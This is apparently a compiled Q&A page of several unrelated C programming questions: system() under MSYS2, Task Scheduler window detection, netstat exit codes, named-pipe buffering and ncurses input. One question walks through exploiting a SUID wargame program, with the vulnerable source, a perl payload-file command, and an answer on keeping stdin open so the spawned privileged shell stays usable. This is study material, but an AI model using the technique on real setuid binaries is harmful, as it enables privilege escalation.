I'm new to c, so I'm probably stupid.
Here is somewhat my code:
#include <stdio.h>
#include <stdlib.h>
int main() {
int input;
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to example");
printf("\n" "Select an option." "\n" "1. ex1" "\n" "2. ex2" "\n");
scanf("%d", &input);
if (input == 1) {
printf ("You selected ex1.");
system("echo 'testing.'");
}
else if (input == 2) {
printf ("You selected ex2.");
}
return 0;
}
If you're wondering, I'm running the exe in MSYS2 with ./a.exe
If I input 1, then it should execute the command echo. However, it does nothing.
How do I fix this?
Edit: Heres the output
You selected ex1.
And then the program ends.
It could be because system uses command prompt (I'm having issues with command prompt...), so how do I switch it to use MSYS2 as the system terminal?
Related
I wrote a simple program that check if a program run (e.g. Notepad). The compiled program should start in the Windows Task-Scheduler. Problem is, when I run my program normal, it works. When I run in Task-Scheduler it works too when I use the option: "Only run if the user is logged in". But when I use the option: "Execute independently of the user login" it doesn't work. My program can'tt find anything running programs (my program run, I can see in Task-Manager).
My Code:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
void write_status(int state);
int isRunning(LPCSTR test);
int ret_val = 0;
int main(void)
{
while(1)
{
if(kbhit()) if(getch() == ' ') return 0;
Sleep(500);
ret_val = isRunning("Unbenannt - Editor");
printf("STATUS: %i\r", ret_val);
write_status(ret_val);
}
}
void write_status(int state)
{
FILE *fp = fopen("V:/ARAMAM.txt", "w");
if(state)
fprintf(fp, "ACTIVE ");
else
fprintf(fp, "NOT ACTIVE");
fclose(fp);
}
int isRunning(LPCSTR test)
{
HWND hwnd;
hwnd = FindWindowA(NULL, test);
if (hwnd != 0) {
return 1;
}
else {
return 0;
}
}
In the dont working case no console window shows. For this case i wrote the output in a external file. The writing in file works. Only find the running program fail.
My settings in Task-Scheduler, it's in German, sorry:
IMAGE
Can somebody help?
Umbrecht
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char command[100];
char portrange[100];
printf("Enter portrange (e.g.,20-30)");
scanf("%s", portrange);
int i=0, range1, range2;
sscanf(portrange, "%d-%d", &range1, &range2);
for(i=range1;i<=range2;i++)
{
sprintf(command, "netstat -aont | grep \"`hostname -i`:%d \" ", i);
printf("command= %d \n", command); //printing the command for testing purpose only
system(command);
//here
//here
printf("%d\n",i);
}
return 0;
}
The program filters out the lines from netstat -aont | grep "hostname -i:%d " where %d is successively replaced by the entered range of ports.
I want to add a if statement to display "port#%d is open" if port %d is opened if the command is successful or "port#%d is closed" if the command fails.
How can I achieve this inside the for loop?
N.B.: I used %d inside the for loop in port range checking. I know it is wrong but when I use %s it crashes with a core dump. Let’s ignore that for the moment.
The exit code of the pipeline command is the exit code of the last command in the pipeline. In your example, this is the exit code of grep. If grep succeeds, it exits with the value 0 otherwise it is different than 0.
system() returns the status of the command line passed as parameter. So, you need to store the status in a variable:
int status;
...
status = system(...);
You need to check the content of status with the WIFEXIT() & WEXITSTATUS(). The latter macro will extract the exit code from the status:
if (WIFEXITED(status)) {
int exit_code = WEXITSTATUS(status);
printf("Exit code is %d\n", exit_code);
// If exit_code is 0 ==> The grep succeeded
}
I am trying to exploit a SUID program.
The program is:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
We can easily see that if we somehow change ptr's contents to some address that starts with CA then a new shell will be spawned for us. And as ptr normally holds some address starting with FF the way to decrease it(ptr) is to enter \ character. So I make a file with 0x35000000 '\' characters, and finally 3 'a' at the end of the file
perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa > file # So that e() is called which actually spawns the shell
And finally in gdb,
run < file
However instead of spawning a shell gdb is saying
process <some number> is executing new program /bin/dash
inferior 1 exited normally
And then back to gdb prompt instead of getting a shell.
I have confirmed by setting breakpoints at appropriate locations that ptr is indeed starting with CA before setresuid() gets called.
Also if I pipe this outside of gdb, nothing happens.
./vulnProg < file
Bash prompt returns back.
Please tell me where am I making mistake.
You can see the problem by compiling a simpler test program
int main() { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }
All this does is start a version of sed (rather than the shell) and converts input by prepending "XXX:".
If you run the resulting program, and type in the Terminal you get behaviour like this:
$./a.out
Hello
XXX:Hello
Test
XXX:Test
^D
Which is exactly as we'd expect.
Now if you feed it input from a file containing "Hello\nWorld" you get
$./a.out < file
XXX:Hello
XXX:World
$
And the application exits immediately, with the input stream to the application being closed when the input file has all been read.
If you want to provide additional input, you need to use a trick to not break the input stream.
{ cat file ; cat - ; } | ./a.out
This will put all the input from file into a running ./a.out and then
read from stdin and add that too.
$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test
I have been stuck with this problem on and off since last night and I'm hoping a second fresh pair of eyes will help.
The problem, if an invalid input is entered in the userIn function (anything that isn't a number between 1-99) the test printf at the end of the while loop in main prints "ERR = 1", the while loops and userIn is called again. So far so good, but when a valid input is entered the test printf at the end of the while loop prints "ERR = 0" and then the program hangs. The test printf saying "HELLO" never gets printed.
Any suggestions as to why are most welcome.
The code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void userIn (int *x)
{
char b;
printf("Please enter a new value for Vm: ");
scanf(" %i",x);
while (((b=getchar())!='\n')&&(b!=EOF));
return;
}
int main (void)
{
int fd, x, err;
char *npipe = "/tmp/fms",
input[3];
struct stat info;
printf("\n");
//get user input
err = 1;
while (err)
{
userIn(&x);
if (x > 0 && x < 100) err = 0;
//else printf("\033[1A\033[K");
printf("ERR = %i\n",err);//TEST PRINTF
}
printf("HELLO");//TEST PRINTF
//if pipe exists
if ( (!lstat(npipe,&info)) && (S_ISFIFO(info.st_mode)) )
{
sprintf(input,"%i",x);
//write user input to named pipe created by 'parent.c'
fd = open(npipe, O_WRONLY);
write(fd, input, sizeof(input));
close(fd);
}
else printf("\033[0;31mNamed pipe doesn't exist, %i not passed.\n\n\033[0m",x);
return 0;
}
Contrary to your intuition, the program freezes somewhere after the printf("HELLO"); line. Since you don't have a newline in that printf, HELLO gets buffered up and is not flushed to the terminal immediately.
Is there a process reading from the other end of that pipe of yours?
If I run your code on my system the output looks like this:
Please enter a new value for Vm: 101
ERR = 1
Please enter a new value for Vm: 1
ERR = 0
HELLONamed pipe doesn't exist, 1 not passed.
That is, the loop exits exactly when you think it should. Of course, the code then exits immediately because /tmp/fms does not exist on my system.
However, if I create /tmp/fms, then I see:
Please enter a new value for Vm: 1
ERR = 0
...and no additional output. This is because the output from the printf statement is buffered, and the write to the named pipe is blocking, so the output never gets flushed. Adding a \n to your printf will probably display it as you expect.
I wrote this simple program on Windows. Since Windows has conio, it worked just fine.
#include <stdio.h>
#include <conio.h>
int main()
{
char input;
for(;;)
{
if(kbhit())
{
input = getch();
printf("%c", input);
}
}
}
Now I want to port it to Linux, and curses/ncurses seems like the right way to do it. How would I accomplish the same using those libraries in place of conio?
#include <stdio.h>
#include <ncurses.h>
int main(int argc, char *argv)
{
char input;
initscr(); // entering ncurses mode
raw(); // CTRL-C and others do not generate signals
noecho(); // pressed symbols wont be printed to screen
cbreak(); // disable line buffering
while (1) {
erase();
mvprintw(1,0, "Enter symbol, please");
input = getch();
mvprintw(2,0, "You have entered %c", input);
getch(); // press any key to continue
}
endwin(); // leaving ncurses mode
return 0;
}
When building your program do not forget to link with ncurses lib (-L lncurses) flag to gcc
gcc -g -o sample sample.c -L lncurses
And here you can see kbhit() implementation for linux.